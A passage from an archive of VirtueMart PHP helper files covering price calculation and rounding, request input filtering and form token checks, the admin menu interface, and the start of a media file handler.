			//$calculated = $dispatcher->trigger('interpreteMathOp', array($this, $mathop, $value, $price, $currency,$this->_revert));
			$calculated = $dispatcher->trigger('plgVmInterpreteMathOp', array($this, $rule, $price,$this->_revert));
			//vmdebug('result of plgVmInterpreteMathOp',$calculated);
			if($calculated){
				foreach($calculated as $calc){
					if($calc) return $calc;
				}
			} else {
				VmError('Unrecognised mathop '.$mathop.' in calculation rule found, seems you created this rule with plugin not longer accesible (deactivated, uninstalled?)');
				return $price;
			}
		}

	}

	/**
	 * Standard round function, we round every number with 6 fractionnumbers
	 * We need at least 4 to calculate something like 9.25% => 0.0925
	 * 2 digits
	 * Should be setable via config (just for the crazy case)
	 */
	function roundInternal($value,$name = 0) {

		if(!$this->_roundindig and $name!==0){
			if(isset($this->_currencyDisplay->_priceConfig[$name][1])){
				//vmdebug('roundInternal rounding use '.$this->_currencyDisplay->_priceConfig[$name][1].' digits');
				return round($value,$this->_currencyDisplay->_priceConfig[$name][1]);
			} else {
				vmdebug('roundInternal rounding not found for '.$name,$this->_currencyDisplay->_priceConfig[$name]);
				return round($value, $this->_internalDigits);
			}
		} else {
			return round($value, $this->_internalDigits);
		}

	}

	/**
	 * Round function for display with 6 fractionnumbers.
	 * For more information please read http://en.wikipedia.org/wiki/Propagation_of_uncertainty
	 * and http://www.php.net/manual/en/language.types.float.php
	 * So in case of € or $ it is rounded in cents
	 * Should be setable via config
	 * @deprecated
	 */
/*		function roundDisplay($value) {
		   return round($value, 4);
	   }*/

	/**
	 * Can test the tablefields Category, Country, State
	 *  If the the data is 0 false is returned
	 */
	function testRulePartEffecting($rule, $data) {

		if (!isset($rule))
			return true;
		if (!isset($data))
			return false;

		if (is_array($rule)) {
			if (count($rule) == 0)
				return true;
		} else {
			$rule = array($rule);
		}
		if (!is_array($data))
			$data = array($data);

		$intersect = array_intersect($rule, $data);
		if ($intersect) {
			return true;
		} else {
			return false;
		}
	}

	/** Sorts indexed 2D array by a specified sub array key
	 *
	 * Copyright richard at happymango dot me dot uk
	 * @author Max Milbers
	 */
	function record_sort($records, $field, $reverse=false) {
		if (is_array($records)) {
			$hash = array();

			foreach ($records as $record) {

                if(isset($record[$field])){
                    $keyToUse = $record[$field];
                    while (array_key_exists($keyToUse, $hash)) {
                        $keyToUse = $keyToUse + 1;
                    }
                    $hash[$keyToUse] = $record;
                }

			}
			($reverse) ? krsort($hash) : ksort($hash);
			$records = array();
			foreach ($hash as $record) {
				$records [] = $record;
			}
		}
		return $records;
	}

	/**
	 * Calculate a pricemodification for a variant
	 *
	 * Variant values can be in the following format:
	 * Array ( [Size] => Array ( [XL] => +1 [M] => [S] => -2 ) [Power] => Array ( [strong] => [middle] => [poor] => =24 ) )
	 *
	 * In the post is the data for the chosen variant, when there is a hit, it gets calculated
	 *
	 * Returns all variant modifications summed up or the highest price set with '='
	 *
	 * @todo could be slimmed a bit down, using smaller array for variantnames, this could be done by using the parseModifiers method, needs to adjust the post
	 * @author Max Milbers
	 * @param int $virtuemart_product_id the product ID the attribute price should be calculated for
	 * @param array $variantnames the value of the variant
	 * @return array The adjusted price modificator
	 */
	public function calculateModificators(&$product, $variants) {

		$modificatorSum = 0.0;
		//MarkerVarMods
		foreach ($variants as $selected => $variant) {
			if (!empty($selected)) {

				$query = 'SELECT  C.* , field.*
						FROM `#__virtuemart_customs` AS C
						LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id`
						WHERE field.`virtuemart_customfield_id`=' .(int) $selected;
				$this->_db->setQuery($query);
				$productCustomsPrice = $this->_db->loadObject();

				//A plugin can have a zero price and create it, so no if(!empty(customprice here
				if ($productCustomsPrice->field_type =='E') {
					if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php');
					JPluginHelper::importPlugin('vmcustom');
					$dispatcher = JDispatcher::getInstance();
					$dispatcher->trigger('plgVmCalculateCustomVariant',array(&$product, &$productCustomsPrice,$selected,$modificatorSum));
				}

				if (!empty($productCustomsPrice->custom_price)) {
					vmdebug('calculateModificators davor',$productCustomsPrice->custom_price);
					$productCustomsPrice->custom_price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $productCustomsPrice->custom_price,true);
					vmdebug('calculateModificators danach',$productCustomsPrice->custom_price);

					//TODO adding % and more We should use here $this->interpreteMathOp
					$modificatorSum = $modificatorSum + $productCustomsPrice->custom_price;
				}
			}
		}

		return $modificatorSum;
	}

	public function parseModifier($name) {

		$variants = array();
		if ($index = strpos($name, '::')) {
			$virtuemart_product_id = substr($name, 0, $index);
			$allItems = substr($name, $index + 2);
			$items = explode(';', $allItems);

			foreach ($items as $item) {
				if (!empty($item)) {
					//vmdebug('parseModifier $item',$item);
					$index2 = strpos($item, ':');
					if($index2!=false){
						$selected = substr($item, 0, $index2);
						$variant = substr($item, $index2 + 1);
						//	echo 'My selected '.$selected;
						//	echo ' My $variant '.$variant.' ';
						//TODO productCartId
						//MarkerVarMods
						$variants[$selected] = $variant; //this works atm not for the cart
						//$variants[$variant] = $selected; //but then the orders are broken
					}
				}
			}
		}
		//vmdebug('parseModifier $variants',$variants);
		return $variants;
	}

}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vrequest.php����������������������������������������������������������������������������������������0000666�����������������00000016414�15137212725�0007152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Class vRequest
 * Gets filtered request values.
 *
 * @package    VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2014 iStraxx UG (haftungsbeschränkt). All rights reserved.
 * @license MIT, see http://opensource.org/licenses/MIT
 *  Permission is hereby granted, free of charge, to any person obtaining a copy
 *  of this software and associated documentation files (the "Software"), to deal
 *  in the Software without restriction, including without limitation the rights
 *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 *  copies of the Software, and to permit persons to whom the Software is
 *  furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in
 *  all copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 *  THE SOFTWARE.
 *
 *  http://virtuemart.net
 */

class vRequest {

	public static function getUword($field, $default='', $custom=''){
		$source = self::getVar($field,$default);
		return self::filterUword($source,$custom);
	}

	//static $filters = array( '' =>);
	public static function uword($field, $default='', $custom=''){
		$source = self::getVar($field,$default);
		return self::filterUword($source,$custom);
	}

	public static function filterUword($source, $custom,$replace=''){
		if(function_exists('mb_ereg_replace')){
			//$source is string that will be filtered, $custom is string that contains custom characters
			return mb_ereg_replace('[^\w'.preg_quote($custom).']', $replace, $source);
		} else {
			return preg_replace("~[^\w".preg_quote($custom,'~')."]~", $replace, $source);	//We use Tilde as separator, and give the preq_quote function the used separator
		}
	}


	public static function getBool($name, $default = 0){
		$tmp = self::get($name, $default, FILTER_SANITIZE_NUMBER_INT);
		if($tmp){
			$tmp = true;
		} else {
			$tmp = false;
		}
		return $tmp;
	}

	public static function getInt($name, $default = 0){
		return self::get($name, $default, FILTER_SANITIZE_NUMBER_INT);
	}

	public static function getFloat($name,$default=0.0){
		return self::get($name,$default,FILTER_SANITIZE_NUMBER_FLOAT,FILTER_FLAG_ALLOW_SCIENTIFIC|FILTER_FLAG_ALLOW_FRACTION);
	}

	/**
	 * - Strips all characters that has a numerical value <32.
	 * - Strips all html.
	 *
	 * @param $name
	 * @param null $default
	 * @return mixed|null
	 */
	public static function getVar($name, $default = null){
		return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW );
	}

	/**
	 * - Strips all characters that has a numerical value <32.
	 * - encodes html
	 *
	 * @param $name
	 * @param string $default
	 * @return mixed|null
	 */
	public static function getString($name, $default = ''){
		return self::get($name, $default, FILTER_SANITIZE_SPECIAL_CHARS,FILTER_FLAG_STRIP_LOW);
	}

	public static function getHtml($name, $default = ''){
		$tmp = self::get($name, $default);
		return JComponentHelper::filterText($tmp);
	}
	
	/**
	 * Gets a filtered request value
	 * - Strips all characters that has a numerical value <32 and >127.
	 * - strips html
	 * @author Max Milbers
	 * @param $name
	 * @param string $default
	 * @return mixed|null
	 */

	public static function getCmd($name, $default = ''){
		return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH);
	}

	public static function getWord($name, $default = ''){
		return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH);
	}

	/**
	 * Main filter function, called by the others with set Parameters
	 * The standard filter is non restrictiv.
	 *
	 * @author Max Milbers
	 * @param $name
	 * @param null $default
	 * @param int $filter
	 * @param int $flags
	 * @return mixed|null
	 */
	public static function get($name, $default = null, $filter = FILTER_UNSAFE_RAW, $flags = FILTER_FLAG_STRIP_LOW){
		//vmSetStartTime();
		if(!empty($name)){

			if(!isset($_REQUEST[$name])) return $default;

			//if(strpos($name,'[]'!==FALSE)){
			if(is_array($_REQUEST[$name])){
				return filter_var_array($_REQUEST[$name], $filter );
			}
			else {
				return filter_var($_REQUEST[$name], $filter, $flags);
			}

		} else {
			vmTrace('empty name in vRequest::get');
			return $default;
		}

	}

	/**
	 * Gets the request and filters it directly. It uses the standard php function filter_var_array,
	 * The standard filter allows all chars, also the special ones. But removes dangerous html tags.
	 *
	 * @author Max Milbers
	 * @param array $filter
	 * @return mixed cleaned $_REQUEST
	 */
	public static function getRequest( ){
		return  filter_var_array($_REQUEST, FILTER_SANITIZE_STRING);
	}
	
	public static function getPost( ){
		return  filter_var_array($_POST, FILTER_SANITIZE_STRING);
	}
	
	public static function getGet( ){
		return  filter_var_array($_GET, FILTER_SANITIZE_STRING);
	}
	
	public static function getFiles($name){
		return  filter_var_array($_FILES[$name], FILTER_SANITIZE_STRING);
	}

	public static function setVar($name, $value = null){
		if(isset($_REQUEST[$name])){
			$tmp = $_REQUEST[$name];
			$_REQUEST[$name] = $value;
			return $tmp;
		} else {
			$_REQUEST[$name] = $value;
			return null;
		}
	}

	/**
	 * Checks for a form token in the request.
	 *
	 * @return  boolean  True if token valid
	 *
	 */
	public static function vmCheckToken($redirectMsg=0){

		$token = self::getFormToken();

		if (!self::uword($token, false)){

			if ($rToken = self::uword('token', false)){
				if($rToken == $token){
					return true;
				}
			}

			$session = JFactory::getSession();

			if ($session->isNew()){
				// Redirect to login screen.
				$app = JFactory::getApplication();
				$app->redirect(JRoute::_('index.php'), vmText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED'));
				$app->close();
			}
			else {
				if($redirectMsg===0){
					$redirectMsg = 'Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task');
					//jexit('Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task'));
				} else {
					$redirectMsg =  vmText::_($redirectMsg);
				}
				// Redirect to login screen.
				$app = JFactory::getApplication();
				$session->close();
				$app->redirect(JRoute::_('index.php'), $redirectMsg);
				$app->close();
				return false;
			}
		}
		else {
			return false;
		}
	}

	public static function getFormToken($fNew = false){

		$user = JFactory::getUser();
		$session = JFactory::getSession();
		if(empty($user->id)) $user->id = 0;
		$hash = JApplication::getHash($user->id . $session->getToken($fNew));

		return $hash;
	}

}����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������adminui.php�����������������������������������������������������������������������������������������0000666�����������������00000021545�15137212725�0006723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Administrator menu helper class
 *
 * This class was derived from the show_image_in_imgtag.php and imageTools.class.php files in VM.  It provides some
 * image functions that are used throughout the VirtueMart shop.
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Eugen Stranz
 * @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009 VirtueMart Team. All rights reserved.
 */

// Check to ensure this file is included in Joomla!
defined ( '_JEXEC' ) or die ();

class AdminUIHelper {

	public static $vmAdminAreaStarted = false;
	public static $backEnd = true;

   /**
     * Start the administrator area table
     *
     * The entire administrator area with contained in a table which include the admin ribbon menu
     * in the left column and the content in the right column.  This function sets up the table and
     * displayes the admin menu in the left column.
     */
   static function startAdminArea($vmView,$selectText = 'COM_VIRTUEMART_DRDOWN_AVA2ALL') {
		if (JRequest::getWord ( 'format') =='pdf') return;
		if (JRequest::getWord ( 'tmpl') =='component') self::$backEnd=false;
    	if(self::$vmAdminAreaStarted) return;
    	self::$vmAdminAreaStarted = true;
		$front = JURI::root(true).'/components/com_virtuemart/assets/';
		$admin = JURI::root(true).'/administrator/components/com_virtuemart/assets/';
		$document = JFactory::getDocument();

		//loading defaut admin CSS
		$document->addStyleSheet($admin.'css/admin_ui.css');
		//$document->addStyleSheet($admin.'css/admin_menu.css');
		$document->addStyleSheet($admin.'css/admin.styles.css');
		$document->addStyleSheet($admin.'css/toolbar_images.css');
		$document->addStyleSheet($admin.'css/menu_images.css');
		$document->addStyleSheet($front.'css/chosen.css');
		$document->addStyleSheet($front.'css/vtip.css');
		$document->addStyleSheet($front.'css/jquery.fancybox-1.3.4.css');
		$document->addStyleSheet($front.'css/ui/jquery.ui.all.css');
		//$document->addStyleSheet($admin.'css/jqtransform.css');

		//loading defaut script

		$document->addScript($front.'js/fancybox/jquery.mousewheel-3.0.4.pack.js');
		$document->addScript($front.'js/fancybox/jquery.easing-1.3.pack.js');
		$document->addScript($front.'js/fancybox/jquery.fancybox-1.3.4.pack.js');
		$document->addScript($admin.'js/jquery.coookie.js');
		$document->addScript($front.'js/chosen.jquery.min.js');
		$document->addScript($admin.'js/vm2admin.js');

		$vm2string = "editImage: 'edit image',select_all_text: '".JText::_('COM_VIRTUEMART_DRDOWN_SELALL')."',select_some_options_text: '".JText::_($selectText)."'" ;
		$document->addScriptDeclaration ( "
//<![CDATA[
		var tip_image='".JURI::root(true)."/components/com_virtuemart/assets/js/images/vtip_arrow.png';
		var vm2string ={".$vm2string."} ;
		 jQuery( function($) {

			$('dl#system-message').hide().slideDown(400);
			$('.virtuemart-admin-area .toggler').vm2admin('toggle');
			$('#admin-ui-menu').vm2admin('accordeon');
			if ( $('#admin-ui-tabs').length  ) {

				$('#admin-ui-tabs').vm2admin('tabs',virtuemartcookie).find('select').chosen({enable_select_all: true,select_all_text : vm2string.select_all_text,select_some_options_text:vm2string.select_some_options_text}); 
			}

			$('#content-box [title]').vm2admin('tips',tip_image);
			$('.modal').fancybox();
			$('.reset-value').click( function(e){
				e.preventDefault();
				none = '';
				jQuery(this).parent().find('.ui-autocomplete-input').val(none);
				
			});

		});
//]]>
		");
		?>
		<?php if (!self::$backEnd) echo '<div class="toolbar" style="height: 84px;position: relative;">'.vmView::getToolbar($vmView).'</div>'; ?>
		<div class="virtuemart-admin-area">
		<?php
		// Include ALU System
		if (self::$backEnd) {
		?>

			<div class="menu-wrapper">
				<a href="index.php?option=com_virtuemart&view=virtuemart" ><div class="menu-vmlogo"></div></a>
				<?php AdminUIHelper::showAdminMenu();
				?>
				<div class="menu-notice">
				<?php
				echo "VirtueMart ".VmConfig::getInstalledVersion(); ?>
				</div>

			</div>
		<?php } ?>
			<div id="admin-content-wrapper">
			<div class="toggler vmicon-show"></div>
				<div id="admin-content" class="admin-content">
		<?php
	}

	/**
	 * Close out the adminstrator area table.
	 * @author RickG, Max Milbers
	 */
	static function endAdminArea() {
		if (!self::$backEnd) return;
		self::$vmAdminAreaStarted = false;
		if (VmConfig::get('debug') == '1') {
		//TODO maybe add debuggin again here
//		include(JPATH_VM_ADMINISTRATOR.'debug.php');
		}
		?>
					<div class="clear"></div>
				</div>
			</div>
			<div class="clear"></div>
		</div>
	<?php
	    }

	/**
	 * Admin UI Tabs
	 * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design
	 * @param $load_template = a key => value array. key = template name, value = Language File contraction
	 * @params $cookieName = choose a cookiename or leave empty if you don't want cookie tabs in this place
	 * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB'
	 */
	static public function buildTabs($view, $load_template = array(),$cookieName='') {
		$cookieName = JRequest::getWord('view','virtuemart').$cookieName;
		$document = JFactory::getDocument ();
		$document->addScriptDeclaration ( '
		var virtuemartcookie="'.$cookieName.'";
		');

		$html = '<div id="admin-ui-tabs">';

		foreach ( $load_template as $tab_content => $tab_title ) {
			$html .= '<div class="tabs" title="' . JText::_ ( $tab_title ) . '">';
			$html .= $view->loadTemplate ( $tab_content );
			$html .= '<div class="clear"></div></div>';
		}
		$html .= '</div>';
		echo $html;
	}

	/**
	 * Admin UI Tabs Imitation
	 * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design
	 * @param $return = return the start tag or the closing tag - choose 'start' or 'end'
	 * @params $language = pass the language string
	 */
	static function imitateTabs($return,$language = '') {
		if ($return == 'start') {
			$document = JFactory::getDocument ();
			$document->addScriptDeclaration ( '
			var virtuemartcookie="vm-tab";
			');
			$html = 	'<div id="admin-ui-tabs">

							<div class="tabs" title="'.JText::_($language).'">';
			echo $html;
		}
		if ($return == 'end') {
			$html = '		</div>
						</div>';
			echo $html;
		}
	}

	/**
	 * Build an array containing all the menu items.
	 *
	 * @param int $moduleId Id of the module to filter on
	 */
	static function _getAdminMenu($moduleId = 0) {
		$db = JFactory::getDBO ();
		$menuArr = array ();

		$filter [] = "jmmod.published='1'";
		$filter [] = "item.published='1'";
		$filter [] = "jmmod.is_admin='1'";
		if (! empty ( $moduleId )) {
			$filter [] = 'vmmod.module_id=' . ( int ) $moduleId;
		}

		$query = 'SELECT `jmmod`.`module_id`, `module_name`, `module_perms`, `id`, `name`, `link`, `depends`, `icon_class`, `view`, `task`
						FROM `#__virtuemart_modules` AS jmmod
						LEFT JOIN `#__virtuemart_adminmenuentries` AS item ON `jmmod`.`module_id`=`item`.`module_id`
						WHERE  ' . implode ( ' AND ', $filter ) . '
						ORDER BY `jmmod`.`ordering`, `item`.`ordering` ';

		$db->setQuery ( $query );
		$result = $db->loadAssocList ();
		//		echo '<pre>'.print_r($query,1).'</pre>';
		for($i = 0, $n = count ( $result ); $i < $n; $i ++) {
			$row = $result [$i];
			$menuArr [$row['module_id']] ['title'] = 'COM_VIRTUEMART_' . strtoupper ( $row['module_name'] ) . '_MOD';
			$menuArr [$row['module_id']] ['items'] [] = $row ;
		}
		return $menuArr;
	}

	/**
	 * Display the administrative ribbon menu.
	 * @todo The link should be done better
	 */
	static function showAdminMenu() {
		$document = JFactory::getDocument ();
		$moduleId = JRequest::getInt ( 'module_id', 0 );
		$user = JFactory::getUser();

		$menuItems = AdminUIHelper::_getAdminMenu ( $moduleId );
		?>

		<div id="admin-ui-menu" class="admin-ui-menu">

		<?php
		$modCount = 1;
		foreach ( $menuItems as $item ) { ?>

			<h3 class="menu-title">
				<?php echo JText::_ ( $item ['title'] )?>
			</h3>

			<div class="menu-list">
				<ul>
				<?php
				foreach ( $item ['items'] as $link ) {
				    $target='';
					if ($link ['name'] == '-') {
						// it was emtpy before
					} else {
						if (strncmp ( $link ['link'], 'http', 4 ) === 0) {
							$url = $link ['link'];
							$target='target="_blank"';
						} else {
							$url = ($link ['link'] === '') ? 'index.php?option=com_virtuemart' :$link ['link'] ;
							$url .= $link ['view'] ? "&view=" . $link ['view'] : '';
							$url .= $link ['task'] ? "&task=" . $link ['task'] : '';
							// $url .= $link['extra'] ? $link['extra'] : '';
						}
						if ($user->authorise('core.admin', 'com_virtuemart') || $user->authorise('vm.'.$link ['view'], 'com_virtuemart') || $target || $link ['view']=='about' || $link ['view']=='virtuemart') {
							?>
							<li>
								<a href="<?php echo $url; ?>" <?php echo $target; ?>><span class="<?php echo $link ['icon_class'] ?>"></span><?php echo JText::_ ( $link ['name'] )?></a>
							</li>
							<?php
						}
					}
				}
				?>
			    </ul>
			</div>

			<?php
			$modCount ++;
		}
		?>
		</div>
	<?php
	}

}

?>�����������������������������������������������������������������������������������������������������������������������������������������������������������mediahandler.php������������������������������������������������������������������������������������0000666�����������������00000130501�15137212725�0007703 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Media file handler class
 *
 * This class provides some file handling functions that are used throughout the VirtueMart shop.
 *  Uploading, moving, deleting
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 VirtueMart Team. All rights reserved by the author.
 */

defined('_JEXEC') or die();

/**
 * Sanitizes the filenames and transliterates them also for non latin languages
 * maybe we should move this to vmfilter
 * @author constantined
 *
 */
class vmFile {

	/**
	 * This function does not allow unicode
	 * @param      $string
	 * @param bool $forceNoUni
	 * @return mixed|string
	 */
	static function makeSafe($string,$forceNoUni=false) {

		$string = trim(JString::strtolower($string));

		// Delete all '?'
		$str = str_replace('?', '', $string);

		// Replace double byte whitespaces by single byte (East Asian languages)
		$str = preg_replace('/\xE3\x80\x80/', ' ', $str);
		$str = str_replace(' ', '-', $str);

		$unicodeslugs = VmConfig::get('transliterateSlugs',false);
		if($unicodeslugs){
			$lang = JFactory::getLanguage();
			$str = $lang->transliterate($str);
		}

		if(function_exists('mb_ereg_replace')){
			$regex = array('#(\.){2,}#', '#[^\w\.\- ]#', '#^\.#');
			return mb_ereg_replace($regex, '', $str);
		} else {
			$regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#');
			return preg_replace($regex, '', $str);
		}

	}
}

class VmMediaHandler {

	var $media_attributes = 0;
	var $setRole = false;
	var $file_name = '';
	var $file_extension = '';
	var $virtuemart_media_id = '';


	function __construct($id=0){

		$this->virtuemart_media_id = $id;

		$this->theme_url = VmConfig::get('vm_themeurl',0);
		if(empty($this->theme_url)){
			$this->theme_url = JURI::root().'components/com_virtuemart/';
		}
	}

	/**
	 * The type of the media determines the used path for storing them
	 *
	 * @author Max Milbers
	 * @param string $type type of the media, allowed values product, category, shop, vendor, manufacturer, forSale
	 */
	public function getMediaUrlByView($type){

		//the problem is here, that we use for autocreatoin the name of the model, here products
		//But for storing we use the product to build automatically the table out of it (product_medias)
		$choosed = false;
		if($type == 'product' || $type == 'products'){
			$relUrl = VmConfig::get('media_product_path');
			$choosed = true;
		}
		else if($type == 'category' || $type == 'categories'){
			$relUrl = VmConfig::get('media_category_path');
			$choosed = true;
		}
		else if($type == 'shop'){
			$relUrl = VmConfig::get('media_path');
			$choosed = true;
		}
		else if($type == 'vendor' || $type == 'vendors'){
			$relUrl = VmConfig::get('media_vendor_path');
			//	$relUrl = 'components/com_virtuemart/assets/images/vendors/';
			$choosed = true;
		}
		else if($type == 'manufacturer' || $type == 'manufacturers'){
			$relUrl = VmConfig::get('media_manufacturer_path');
			$choosed = true;
		}
		else if($type == 'forSale' || $type== 'file_is_forSale'){
			if (!class_exists ('shopFunctionsF'))
				require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php');
			$relUrl = shopFunctions::checkSafePath();
			if($relUrl){
				$choosed = true;
				$this->file_is_forSale=1;
			}

		}

		// 		$this->type = $type;
		// 		$this->setRole=false;
		if($choosed && empty($relUrl)){
			$uri = JFactory::getURI();
			$link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config';
			vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link );
			//Todo add general media_path to config
			//$relUrl = VmConfig::get('media_path');
			$relUrl = 'images/stories/virtuemart/';
			$this->setRole=true;
			// 		} else if(!$choosed and empty($relUrl) and $this->file_is_forSale==0){
		} else if(!$choosed and empty($relUrl) ){

			vmWarn('COM_VIRTUEMART_MEDIA_CHOOSE_TYPE',$this->file_title );
			// 			vmError('Ignore this message, when it appears while the media synchronisation process, else report to http://forum.virtuemart.net/index.php?board=127.0 : cant create media of unknown type, a programmers error, used type ',$type);
			//$relUrl = VmConfig::get('media_path');
			$relUrl = 'images/stories/virtuemart/typeless/';
			$this->setRole=true;

		} else if(!$choosed and $this->file_is_forSale==1){
			$relUrl = '';
			$this->setRole=false;
		}

		return $relUrl;
	}

	/**
	 * This function determines the type of a media and creates it.
	 * When you want to write a child class of the mediahandler, you need to manipulate this function.
	 * We may use later here a hook for plugins or simular
	 *
	 * @author Max Milbers
	 * @param object $table
	 * @param string  $type vendor,product,category,...
	 * @param string $file_mimetype such as image/jpeg
	 */
	static public function createMedia($table,$type='',$file_mimetype=''){

		if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php');

		$extension = strtolower(JFile::getExt($table->file_url));

		$isImage = self::isImage($extension);

		if($isImage){
			if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'image.php');
			$media = new VmImage();
		} else {
			$media = new VmMediaHandler();
		}

		$attribsImage = get_object_vars($table);

		foreach($attribsImage as $k=>$v){
			$media->$k = $v;
		}

		if(empty($type)){
			$type = $media->file_type;
		} else {
			$media->file_type = $type;
		}

		$media->setFileInfo($type);

		return $media;
	}

	/**
	 * This prepares the object for storing the data. This means it does the action
	 * and returns the data for storing in the table
	 *
	 * @author Max Milbers
	 * @param object $table
	 * @param array $data
	 * @param string $type
	 */
	static public function prepareStoreMedia($table,$data,$type){

		$media = VmMediaHandler::createMedia($table,$type);

		$data = $media->processAttributes($data);
		$data = $media->processAction($data);

		$attribsImage = get_object_vars($media);
		foreach($attribsImage as $k=>$v){
			$data[$k] = $v;
		}

		return $data;
	}

	/**
	 * Sets the file information and paths/urls and so on.
	 *
	 * @author Max Milbers
	 * @param unknown_type $filename
	 * @param unknown_type $url
	 * @param unknown_type $path
	 */
	function setFileInfo($type=0){


		$this->file_url_folder = '';
		$this->file_path_folder = '';
		$this->file_url_folder_thumb = '';

		if($this->file_is_forSale==0 and $type!='forSale'){

			$this->file_url_folder = $this->getMediaUrlByView($type);
			$this->file_url_folder_thumb = $this->file_url_folder.'resized/';
			$this->file_path_folder = str_replace('/',DS,$this->file_url_folder);
		} else {
			if (!class_exists ('shopFunctions'))
				require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php');
			$safePath = shopFunctions::checkSafePath();
			if(!$safePath){
				return FALSE;
			}
			$this->file_path_folder = $safePath;
			$this->file_url_folder = $this->file_path_folder;//str_replace(DS,'/',$this->file_path_folder);
			$this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb');
		}

		//Clean from possible injection
		while(strpos($this->file_path_folder,'..')!==false){
			$this->file_path_folder  = str_replace('..', '', $this->file_path_folder);
		};
		$this->file_path_folder  = preg_replace('#[/\\\\]+#', DS, $this->file_path_folder);

		if(empty($this->file_url)){
			$this->file_url = $this->file_url_folder;
			$this->file_name = '';
			$this->file_extension = '';
		} else {
			if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php');

			if($this->file_is_forSale==1){

				$rdspos = strrpos($this->file_url,DS);
				if($rdspos!==false){
					$name = substr($this->file_url,$rdspos+1);
				} else {
					vmdebug('$name',$this->file_url,$rdspos);
				}

			} else {
				//This construction is only valid for the images, it is for own structuring using folders
				$name = str_replace($this->file_url_folder,'',$this->file_url);
			}

			//vmdebug('setFileInfo',$name,$this->file_title);
			if(!empty($name) && $name !=='/'){
				$this->file_name = JFile::stripExt($name);

				$this->file_extension = strtolower(JFile::getExt($name));

				//Ensure using right directory
				$file_url = $this->getMediaUrlByView($type).$name;

				if($this->file_is_forSale==1){
					if(JFile::exists($file_url)){
						$this->file_url = $file_url;
					} else {
					//	vmdebug('MediaHandler, file does not exist in safepath '.$file_url);
					}
				} else {
					$pathToTest = JPATH_ROOT.DS.str_replace('/',DS,$file_url);
					if(JFile::exists($pathToTest)){
						$this->file_url = $file_url;
					} else {
					//	vmdebug('MediaHandler, file does not exist in '.$pathToTest);
					}
				}

			}


		}

		if($this->file_is_downloadable) $this->media_role = 'file_is_downloadable';
		if($this->file_is_forSale) $this->media_role = 'file_is_forSale';
		if(empty($this->media_role)) $this->media_role = 'file_is_displayable';
		// 		vmdebug('$this->media_role',$this->media_role);

		$this->determineFoldersToTest();

		if(!empty($this->file_url) && empty($this->file_url_thumb)){
			$this->displayMediaThumb('',true,'',false);
		}


	}

	public function getUrl(){
		return $this->file_url_folder.$this->file_name.'.'.$this->file_extension;
	}

	public function getThumbUrl(){
		return $this->file_url_folder_thumb.$this->file_name.'.'.$this->file_extension;
	}

	public function getFullPath(){

		$rel_path = str_replace('/',DS,$this->file_url_folder);
		return JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension;
	}

	public function getThumbPath(){

		$rel_path = str_replace('/',DS,$this->file_url_folder);
		return JPATH_ROOT.DS.$rel_path.$this->file_name_thumb.'.'.$this->file_extension;
	}

	/**
	 * Tests if a function is an image by mime or extension
	 *
	 * @author Max Milbers
	 * @param string $file_mimetype
	 * @param string $file_extension
	 */
	static private function isImage($file_extension=0){

